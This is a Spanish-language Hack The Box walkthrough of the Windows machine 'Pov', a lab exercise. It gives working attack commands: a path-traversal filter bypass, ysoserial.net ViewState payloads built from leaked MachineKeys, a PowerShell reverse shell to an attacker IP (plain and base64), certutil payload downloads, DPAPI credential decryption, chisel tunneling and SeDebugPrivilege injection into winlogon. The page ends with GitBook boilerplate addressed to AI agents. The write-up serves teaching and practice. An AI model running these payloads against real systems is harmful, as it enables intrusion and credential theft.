> For the complete documentation index, see [llms.txt](https://oliver-3.gitbook.io/redteam-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oliver-3.gitbook.io/redteam-notes/hack-the-box/pov.md).

# POV

## Metodología HTB - Pov

***

### Máquina 3: Pov

**Dificultad:** Medium | **OS:** Windows

**Ruta de ataque:**

```
RFI/Path Traversal → web.config (MachineKey)
   → ViewState deserialization → RCE como sfitz
      → connection.xml (PSCredential) → password de alaading
         → SeDebugPrivilege → SYSTEM
```

***

#### 1. Reconocimiento - Nmap

```bash
nmap -p- --min-rate 5000 -A -T4 -v <IP> -oA pov_full
```

**Resultado:**

| Puerto | Servicio                  |
| ------ | ------------------------- |
| 80     | HTTP - Microsoft IIS 10.0 |

> Un solo puerto. `http-title: pov.htb` → dominio expuesto. `X-Powered-By: ASP.NET` → app .NET.

**Conversión del scan a HTML**

`-oA` genera tres archivos: `.nmap`, `.gnmap` y `.xml`. El `.xml` se convierte a un reporte HTML legible con `xsltproc` (instalar con `sudo apt install xsltproc` si falta).

**Opción rápida - stylesheet por defecto de nmap:**

```bash
xsltproc pov_full.xml -o pov_full.html
```

> Si da `failed to load external entity` es porque el XML apunta a un `nmap.xsl` que no está. Copiá el oficial: `cp /usr/share/nmap/nmap.xsl .`

**Opción recomendada - stylesheet propio (`nmap-custom.xsl`):**

Tener un `.xsl` propio da reportes con estilo consistente para todas las máquinas. Uso:

```bash
xsltproc -o pov_full.html nmap-custom.xsl pov_full.xml
xdg-open pov_full.html        # o: firefox pov_full.html
```

> Para que el reporte quede autocontenido (no depende de rutas externas), conviene generar el scan apuntando directamente al stylesheet propio:
>
> ```bash
> nmap -p- --min-rate 5000 -A -T4 -v <IP> -oA pov_full --stylesheet=nmap-custom.xsl
> ```

**Cómo funciona el `.xsl`:** XSLT es un lenguaje de transformación — toma el XML de nmap y, mediante plantillas (`<xsl:template match="...">`), lo convierte en HTML. Los puntos clave del stylesheet propio:

| Plantilla          | Qué hace                                                                               |
| ------------------ | -------------------------------------------------------------------------------------- |
| `match="/nmaprun"` | Raíz: arma el HTML, el `<head>` con CSS embebido, cabecera y footer                    |
| `match="host"`     | Por cada host: badge up/down, tabla de puertos, fila de OS                             |
| `match="port"`     | Por cada puerto: número, estado (color según open/filtered/closed), servicio + versión |
| `match="script"`   | Scripts NSE; resalta en rojo si el output contiene `risky` o `VULNERABLE`              |

El CSS va embebido en el `<head>` → el HTML es un solo archivo portable. Para cambiar el aspecto (colores, fuente) se editan las variables CSS `:root` al inicio del `.xsl`. Para mostrar campos nuevos del XML, se agrega un `<xsl:value-of select="ruta/@atributo"/>` en la plantilla correspondiente.

> El stylesheet `nmap-custom.xsl` (tema oscuro estilo terminal) se entrega junto a esta documentación. Reutilizable en cualquier máquina: solo cambia el `.xml` de entrada.

**Agregar al /etc/hosts:**

```bash
echo "10.129.1.31 pov.htb" | sudo tee -a /etc/hosts
```

***

#### 2. Enumeración Web - pov.htb

```bash
whatweb http://pov.htb
```

→ Sitio corporativo estático (template "Atlas"). Email en "Contact Us": `sfitz@pov.htb` → **usuario candidato**.

> En el texto de contacto se menciona: *"check my profile at dev.pov.htb"* → **subdominio**.

**Alternativa - fuzzing de subdominios (si no aparece en el HTML):**

```bash
ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt \
  -u http://pov.htb -H "Host: FUZZ.pov.htb" -mc all -ac
```

→ `dev` (Status 302)

**Agregar el subdominio:**

```bash
sudo sed -i 's/pov.htb/pov.htb dev.pov.htb/' /etc/hosts
```

***

#### 3. Enumeración Web - dev.pov.htb

```bash
whatweb http://dev.pov.htb
```

→ Redirige a `/portfolio/`. Portfolio de **Stephen Fitz** (web developer), ASP.NET 4.0.30319.

**Fuzzing del portfolio:**

```bash
feroxbuster -u http://dev.pov.htb/portfolio -w raft-medium-directories-lowercase.txt -x aspx
```

→ Páginas relevantes: `default.aspx`, `contact.aspx`

**Botón "Download CV"** → es un postback ASP.NET:

```html
<a id="download" href="javascript:__doPostBack('download','')">Download CV</a>
<input type="hidden" name="file" id="file" value="cv.pdf" />
```

> El campo oculto `file` está controlado por el cliente → candidato a Path Traversal / File Read.

***

#### 4. Path Traversal / File Read - parámetro `file`

Interceptar el click de "Download CV" con Burp. El POST contiene:

```
__EVENTTARGET=download
__VIEWSTATE=<...>
__VIEWSTATEGENERATOR=8E0F0FA3      ← ANOTAR, se usa después
__EVENTVALIDATION=<...>            ← ANOTAR, necesario para el envío del exploit
file=cv.pdf
```

**Lógica del filtro** (código `index.aspx.cs`):

```csharp
filePath = Regex.Replace(filePath, "../", "");   // elimina "../"
Response.TransmitFile(filePath);
```

**Bypass del filtro:** el filtro elimina `../` una sola vez → usar `....//`&#x20;

Cambiar en Burp Repeater `file=cv.pdf` por:

```
file=../web.config
```

**Resultado - web.config:**

```xml
<machineKey decryption="AES"
  decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"
  validation="SHA1"
  validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
```

> `customErrors mode="On"` → cualquier fallo redirige a `default.aspx`. Esto hace que la respuesta HTTP del exploit sea **siempre** un `302`, sirva o no. **No usar la respuesta HTTP para diagnosticar — usar tcpdump.**

***

#### 5. Foothold - ViewState Deserialization

**Concepto:** ASP.NET serializa el estado de los controles en el campo `__VIEWSTATE`, firmado con `validationKey` y encriptado con `decryptionKey` (la `MachineKey`). Con esas claves filtradas se puede generar un objeto .NET serializado malicioso que, al deserializarse en el server, ejecuta código → **RCE**.

**5.1 Herramienta - ysoserial.net**

**Camino A - Windows nativo (lo más simple, recomendado):**

```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "<comando>" ...
```

**Camino B - Linux con wine (verificado en este lab):**

```bash
sudo apt install -y wine
# instalar .NET Framework real en wine (NO Wine Mono - le faltan assemblies):
winetricks dotnet48
# winetricks como script si no está en repos:
sudo wget https://raw.githubusercontent.com/Winetricks/winetricks/master/src/winetricks -O /usr/local/bin/winetricks
sudo chmod +x /usr/local/bin/winetricks
```

> ⚠️ **Mono nativo NO sirve** para el gadget `TextFormattingRunProperties`: le falta el assembly `PresentationCore` (WPF). **Wine Mono tampoco** (le faltan partes de `System.*`). Solo funciona **wine + dotnet48 real**.

**Camino C - viewgen (Python, alternativa):**

```bash
git clone https://github.com/0xacb/viewgen.git
# genera ViewState válido sin gadgets WPF; usa --modifier (no --path)
```

**5.2 Sintaxis del comando ysoserial - DOS variantes**

ysoserial calcula la firma del ViewState de dos formas. Ver `ysoserial.exe -p ViewState --examples`.

**Variante 1 - con `--path` + `--apppath`** (la app calcula el generator):

```bash
wine ysoserial.exe -p ViewState -g TextFormattingRunProperties \
  -c "<comando>" \
  --path="/portfolio/default.aspx" --apppath="/" \
  --decryptionalg="AES" --decryptionkey="74477CEBDD..." \
  --validationalg="SHA1" --validationkey="5620D3D0..."
```

**Variante 2 - con `--generator`** (se le pasa el generator ya conocido):

```bash
wine ysoserial.exe -p ViewState -g TextFormattingRunProperties \
  -c "<comando>" \
  --generator="8E0F0FA3" \
  --decryptionalg="AES" --decryptionkey="74477CEBDD..." \
  --validationalg="SHA1" --validationkey="5620D3D0..."
```

> ⚠️ **No mezclar `--generator` con `--path`** — son excluyentes (con `--generator` se ignora path/apppath). ⚠️ El `NullReferenceException` en `ViewStatePlugin.Run` que aparece con mono/Wine Mono es por assemblies faltantes, **no** por flags. Se resuelve con `winetricks dotnet48`.

**Gadgets que funcionan:** `TextFormattingRunProperties`, `WindowsIdentity`, `TypeConfuseDelegate`, `ActivitySurrogateSelector`. Es prueba y error; `TextFormattingRunProperties` genera el payload más corto.

**5.3 Validar RCE con un ping (antes de la reverse shell)**

```bash
# generar payload
wine ysoserial.exe -p ViewState -g TextFormattingRunProperties \
  -c "ping -n 5 <TU_IP>" --path="/portfolio" --apppath="/" \
  --decryptionalg="AES" --decryptionkey="74477CEBDD..." \
  --validationalg="SHA1" --validationkey="5620D3D0..." \
  2>/dev/null | tr -d '\n' > ping_yso.txt
```

```bash
# escuchar ICMP
sudo tcpdump -i tun0 -n icmp
```

```bash
# enviar (--noproxy para no pasar por Burp)
curl -s --noproxy '*' -X POST http://dev.pov.htb/portfolio/ \
  --data "__EVENTTARGET=download" \
  --data "__EVENTARGUMENT=" \
  --data "__VIEWSTATEGENERATOR=8E0F0FA3" \
  --data "file=cv.pdf" \
  --data "__VIEWSTATE=$(cat ping_yso.txt)"
```

→ Si aparecen `ICMP echo request` desde la IP de Pov → **RCE confirmado**.

**5.4 Reverse shell**

Generar la PowerShell reverse shell base64 (PowerShell #3 de revshells.com, o a mano):

```bash
PAYLOAD='$client = New-Object System.Net.Sockets.TCPClient("10.10.14.6",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
echo -n "$PAYLOAD" | iconv -t UTF-16LE | base64 -w0
```

Generar el ViewState con ese base64:

```bash
wine ysoserial.exe -p ViewState -g TextFormattingRunProperties \
  -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgAiACwAOQAwADAAMQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" \
  --path="/portfolio/contact.aspx" --apppath="/" \
  --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" \
  --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" \
  2>/dev/null | tr -d '\n' > shell_yso.txt
```

```bash
# listener
rlwrap nc -lvnp 9001
```

```bash
# disparar
curl -s --noproxy '*' -X POST http://dev.pov.htb/portfolio/contact.aspx \
  --data "__EVENTTARGET=download" --data "__EVENTARGUMENT=" \
  --data "__VIEWSTATEGENERATOR=8E0F0FA3" --data "file=cv.pdf" \
  --data "__VIEWSTATE=$(cat shell_yso.txt)"
```

→ Shell como `pov\sfitz`

> 💡 **Si el RCE funciona (ping OK) pero la reverse shell no cae:**
>
> * **Puerto:** probar 443 u 80 en vez de puertos altos como 9001. El firewall de salida suele permitir solo puertos web.
> * **`__EVENTVALIDATION`:** mandar el ViewState vía **Burp Repeater** sobre el request original de "Download CV", reemplazando SOLO `__VIEWSTATE` y conservando el `__EVENTVALIDATION` real de la sesión. ASP.NET valida ese campo en postbacks de controles.
> * **AMSI/Defender:** si el one-liner se ejecuta pero muere, usar un cradle (`IEX(New-Object Net.WebClient).DownloadString(...)`) o un payload con bypass.
> * **Estabilidad:** la reverse shell de ViewState es frágil. Para algo estable, conviene escalar rápido a un meterpreter (ver paso 7, Camino B).

***

#### 6. Lateral Movement - sfitz → alaading

Desde la shell de sfitz, explorar el home:

```cmd
dir C:\Users\sfitz\Documents
```

→ Archivo **`connection.xml`**

```cmd
type C:\Users\sfitz\Documents\connection.xml
```

```cmd
<S N="UserName">alaading</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6</SS>
```

→ Es un objeto `PSCredential` serializado con `Export-CliXml`. El password de `alaading` está cifrado con **DPAPI**, atado al usuario `sfitz`.

**Descifrar** (PowerShell, ejecutándose como sfitz — DPAPI lo descifra solo):

```powershell
$cred = Import-CliXml -Path C:\Users\sfitz\Documents\connection.xml
$cred.GetNetworkCredential().Password
```

**Método alternativo** (si `GetNetworkCredential` no muestra nada):

```powershell
$cred = Import-CliXml -Path C:\Users\sfitz\Documents\connection.xml
[Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($cred.Password))
```

→ Password de alaading: `f8gQ8fynP44ek1m3`

> La credencial está cifrada con DPAPI atada a la máquina/usuario → **no se puede exfiltrar y descifrar en Kali**. Hay que descifrarla en la propia máquina como sfitz.

**6.1 Shell como alaading - tres caminos**

`alaading` está en el grupo **Remote Management Users** → WinRM (5985). Pero el 5985 no está expuesto al exterior.

**Camino A - RunasCs (el más simple, sin túnel):**

```cmd
# subir RunasCs.exe a C:\programdata
certutil -urlcache -f http://10.10.14.6:8000/RunasCs.exe RunasCs.exe
# ejecutar - reverse shell directa como alaading
.\RunasCs.exe alaading f8gQ8fynP44ek1m3 cmd.exe -r 10.10.14.6:4444
```

```bash
rlwrap nc -lvnp 444   # en Kali
```

**Camino B - chisel + evil-winrm (túnel al 5985):**

```bash
# Kali - chisel server
./chisel server --reverse -p 9999
```

```cmd
:: Pov - subir chisel.exe y crear túnel
:: lanzarlo DESACOPLADO para que no muera con la shell:
Start-Process -WindowStyle Hidden chisel.exe -ArgumentList "client <TU_IP>:9999 R:5985:127.0.0.1:5985"
```

```bash
# Kali
evil-winrm -i 127.0.0.1 -u alaading -p 'f8gQ8fynP44ek1m3'
```

> Si el túnel cae a los pocos comandos: el cliente chisel murió con la reverse shell padre. Lanzarlo con `Start-Process -WindowStyle Hidden` (desacoplado), o directamente desde el payload de ViewState / desde un meterpreter estable. Alternativa más estable: **ligolo-ng**.

**Camino C - meterpreter + autoroute (sin chisel):**

```
# en msfconsole, con sesión meterpreter de sfitz
run autoroute -s 127.0.0.1
background
use exploit/windows/winrm/winrm_script_exec
set RHOSTS 127.0.0.1
set USERNAME alaading
set PASSWORD f8gQ8fynP44ek1m3
set FORCE_VBS true
set LHOST <TU_IP>
run
```

User flag: `C:\Users\alaading\Desktop\user.txt`

***

#### 7. Privilege Escalation - SeDebugPrivilege → SYSTEM

Verificar privilegios como alaading:

```cmd
whoami /priv
```

→ **`SeDebugPrivilege`** (Enabled)

> **Concepto:** `SeDebugPrivilege` permite debuggear cualquier proceso, incluidos los que corren como SYSTEM. Eso permite inyectar código en un proceso SYSTEM (ej: `winlogon.exe`) y ejecutar comandos en su contexto. El privilegio aparece **Disabled** en cmd pero **Enabled** en PowerShell. Trabajar desde PowerShell.

**Camino A - psgetsys.ps1 (PowerShell)**

```cmd
certutil -urlcache -f http://10.10.14.6:8000/psgetsys.ps1 psgetsys.ps1
```

```powershell
# PID de un proceso SYSTEM
Get-Process winlogon       # ej: PID 548

# importar el script
. .\psgetsys.ps1

# inyectar en winlogon → ejecutar reverse shell como SYSTEM
ImpersonateFromParentPid -ppid 548 -command "c:\windows\system32\cmd.exe" -cmdargs "/c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgAiACwAOQAwADAAMQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
```

```bash
rlwrap nc -lvnp 9002   # en Kali
```

> El `Last error: 122` (ERROR\_INSUFFICIENT\_BUFFER) que puede aparecer es engañoso — la inyección igual funciona. Ejecutar **desde evil-winrm**, no desde la reverse shell de ViewState (esta última tiene un contexto de proceso que rompe la inyección).

**Camino B - Meterpreter migrate (alternativa, más robusta)**

```bash
# generar payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<TU_IP> LPORT=9001 -f exe -o rev.exe
```

```cmd
certutil -urlcache -f http://10.10.14.6:8000/rev.exe rev.exe
```

```bash
# msconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 9001
run
```

```cmd
:: subir y ejecutar rev.exe como alaading
.\rev.exe
```

```
# en meterpreter, migrar a un proceso SYSTEM
ps winlogon          # obtener PID
migrate 544       # SeDebugPrivilege permite migrar a procesos de otro usuario
getuid               # → NT AUTHORITY\SYSTEM
```

Root flag: `C:\Users\Administrator\Desktop\root.txt`

***

### Conceptos Clave Aprendidos

| Concepto                   | Descripción                                                                       |
| -------------------------- | --------------------------------------------------------------------------------- |
| Reporte nmap en HTML       | `xsltproc scan.xml -o scan.html` convierte el XML de `-oA` en reporte legible     |
| Subdomain enumeration      | Subdominio en texto de la web o por fuzzing con `ffuf` + header `Host`            |
| Path Traversal / File Read | Parámetro `file` controlado por cliente; filtro `../` bypasseable con `....//`    |
| ViewState Deserialization  | `MachineKey` filtrada del `web.config` → payload .NET malicioso → RCE             |
| ysoserial.net en Linux     | Requiere `wine + winetricks dotnet48`; mono/Wine Mono fallan por assemblies WPF   |
| `customErrors On`          | El server responde 302 siempre → diagnosticar RCE con `tcpdump`, no con HTTP      |
| `__EVENTVALIDATION`        | ASP.NET valida este campo en postbacks; conservarlo al enviar el exploit          |
| PSCredential / DPAPI       | `connection.xml` con `Export-CliXml`; descifrar con `Import-CliXml` en la máquina |
| WinRM tunneling            | Puerto 5985 interno; alcanzarlo con chisel/ligolo o autoroute de Metasploit       |
| SeDebugPrivilege           | Permite inyectar en procesos SYSTEM (`psgetsys.ps1` o `meterpreter migrate`)      |

***

### Troubleshooting (lecciones de este lab)

| Problema                                          | Causa                                               | Solución                                                                       |
| ------------------------------------------------- | --------------------------------------------------- | ------------------------------------------------------------------------------ |
| `mono`: `PresentationCore` not found              | mono nativo sin WPF                                 | usar wine + `winetricks dotnet48`                                              |
| wine: `Wine Mono is not installed`                | falta runtime .NET                                  | `winetricks dotnet48` (no Wine Mono)                                           |
| `NullReferenceException` en `ViewStatePlugin.Run` | assemblies .NET incompletos                         | wine + dotnet48 real                                                           |
| `ShellExecuteEx failed: File not found`           | wine sin ruta absoluta del .exe                     | usar ruta absoluta al `ysoserial.exe`                                          |
| Server responde 302 siempre                       | `customErrors mode="On"`                            | normal; confirmar RCE con `tcpdump`                                            |
| RCE confirmado (ping) pero shell no cae           | puerto bloqueado / falta EVENTVALIDATION / AMSI     | puerto 443, enviar vía Burp con EVENTVALIDATION, cradle                        |
| `curl` no llega / connection refused              | máquina HTB cayó o cambió de IP                     | respawn + actualizar `/etc/hosts`                                              |
| Túnel chisel cae a los pocos comandos             | cliente chisel murió con la shell padre             | lanzar con `Start-Process -WindowStyle Hidden` o desde meterpreter             |
| heredoc / payload mal pegado en terminal          | `EOF` en la misma línea, comando multilínea cortado | usar `nano`, o redirigir salida directo a archivo, o comando en una sola línea |


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://oliver-3.gitbook.io/redteam-notes/hack-the-box/pov.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
